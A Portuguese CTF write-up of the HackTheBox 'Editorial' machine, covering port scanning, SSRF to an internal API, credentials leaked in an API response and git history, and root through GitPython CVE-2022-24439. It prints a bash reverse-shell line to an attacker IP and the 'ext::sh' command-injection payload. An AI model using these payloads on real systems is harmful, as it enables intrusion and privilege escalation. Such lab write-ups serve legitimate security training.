> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md).

# Relato da máquina Editorial no HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Editorial>" %}

{% hint style="warning" %}
**Habilidades:**

* SSRF
* Log do Git
* Git em Python
  {% endhint %}

## Reconhecimento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/8642bcae6445285ad5dd9d592eb6369c3063d77f" alt=""><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/4faf03655fb8dc3ee553f6a87fd1c084d5e7b912" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts
```

<figure><img src="/files/8f6ede0fe05b9f990f873232a32740ae7f2820a2" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

<figure><img src="/files/af5e4fe1013a2c2fa1b83f854940bb86d8e05c18" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,22 10.10.11.20 -oN targeted
```

<figure><img src="/files/7773e019f9260f7cdffbd1eb50c27227c9989be8" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, insira o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo.

<figure><img src="/files/2bb98cb428e7d0f72336d3ef5763dc5b91223dbc" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/57901d3a72c80152b8ff1edf26d08a5cdb198b4e" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade [SSRF](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md):

O botão "Procurar" nos permite baixar um arquivo que supostamente é uma imagem representando a capa de um livro. Enquanto o campo de texto “URL da capa vinculada ao seu livro” permite inserir uma URL para que ela possa ser visualizada pelo serviço e uma imagem possa ser enviada.

<figure><img src="/files/a8e68dafba84464f2ad79d180d86a0b960737f30" alt=""><figcaption></figcaption></figure>

#### **Abertura** [**Burp Suite**](/pt-br/hacking-tools/web/burpsuite.md)**:**

Quando uma imagem é enviada para o servidor, é fornecido um link para o local de armazenamento dela.

<figure><img src="/files/cb6a6c30eb8dd7b0830973f64f628af5d3a5a9a6" alt=""><figcaption></figcaption></figure>

Em seguida, realizamos um ataque de força bruta em todas as 65.535 portas e vemos que apenas a porta 5000 retorna uma resposta diferente.

<figure><img src="/files/d17805a10485d65ea78dcd82ee5a71e87bf63ca1" alt=""><figcaption></figcaption></figure>

Ao verificar o conteúdo da porta interna 5000, descobrimos que ela permite o download de um arquivo.

<figure><img src="/files/2454da9bea6b41978eb841619eca8b9aa3bbbee9" alt=""><figcaption></figcaption></figure>

Este arquivo, em formato JSON, lista APIs internas com suas rotas associadas. Entre elas, a `message/authors` rota parece particularmente crítica.

<figure><img src="/files/6fc8dcf27bf5205c822e4856863c2658d8a69ad1" alt=""><figcaption></figcaption></figure>

Com o Burp Suite, acessamos então o arquivo pela porta 5000 no seguinte endereço:

```url
http://127.0.0.1:5000/api/latest/metadata/messages/authors
```

<div data-full-width="true"><figure><img src="/files/75d8275421661d214e178a000f585c08f5557c5d" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/713424b3f83a9299be0886a48a6b807e1c7382df" alt=""><figcaption></figcaption></figure>

Neste arquivo também encontramos um usuário e uma senha claros `dev:dev080217_devAPI!@`

<figure><img src="/files/2363748b94cfbda0530065d2256854e8638932db" alt=""><figcaption></figcaption></figure>

Em seguida, tentamos nos conectar a `SSH` pela porta 22, que está aberta, e conseguimos obter a flag do usuário.

<figure><img src="/files/a242bae375cc47b60c4e362534c48cabec752129" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

#### Após acessar o servidor Linux, é recomendável executar os seguintes comandos no terminal para otimizar a eficiência e o conforto de trabalho:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

Ao navegar até a raiz do sistema, vemos a presença de dois usuários: **dev** e **prod**.

<figure><img src="/files/d2deb6c78ff8f00583b772e2305501369692397c" alt="" width="543"><figcaption></figcaption></figure>

O usuário **dev** tem duas pastas visíveis e uma pasta oculta chamada "git". Ao executar o `git log` comando, observamos dois commits distintos.

<figure><img src="/files/fbf12dfa484128f342e7f81270ad1f15cc4f8fa5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cff756d672d88e654fba881c9c9f866df8dd8138" alt=""><figcaption></figcaption></figure>

Entre esses commits, a senha do usuário **prod** aparece em texto simples: `prod:080217_Producti0n_2023!@`.

<figure><img src="/files/b8c94e7e2304fb5d9407e77455fc5654a4fa184e" alt=""><figcaption></figcaption></figure>

Em seguida, fazemos login via SSH como o usuário **prod**.

<figure><img src="/files/41b455f35f8e326d37fe36ddb22c6868781f8d64" alt=""><figcaption></figcaption></figure>

### Sudoers:

Executando o `sudo -l` comando, descobrimos que temos a capacidade de executar um script como **root**.

<figure><img src="/files/bb24c36fc3858a0e439d882ad1e4f442072f5cab" alt=""><figcaption></figcaption></figure>

Uma versão vulnerável da biblioteca Git, identificada pela `clone_from` função, está presente. Ao exibir a lista de pacotes Python com `pip3 list`, notamos que **GitPython 3.1.29** está instalado, uma versão conhecida pela vulnerabilidade **CVE-2022-24439**, que permite a execução de código arbitrário. Essa falha pode ser explorada da seguinte forma:

<figure><img src="/files/d671470ad9248fd219bfd7ad320d3e1969f4353c" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

Vamos criar um script de exploit no diretório temporário para obter uma reverse shell:

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="/files/45734756b2f1a5c67465d976e383fe4768da185a" alt=""><figcaption></figcaption></figure></div>

Então, na nossa máquina, escutamos na porta 4444 usando **netcat**

<figure><img src="/files/bc5e27004e2d11f6cd203066b2679fcdb3a33562" alt="" width="502"><figcaption></figcaption></figure>

Por fim, executamos o binário com **sudo**, adicionando nossa carga útil:

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}

### Flag root : )

<div align="right"><figure><img src="/files/8044d454d8c1221da386a7280e7e2829eea4f863" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/7fadbfe9049c97a47099761ddeca48189e807060" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
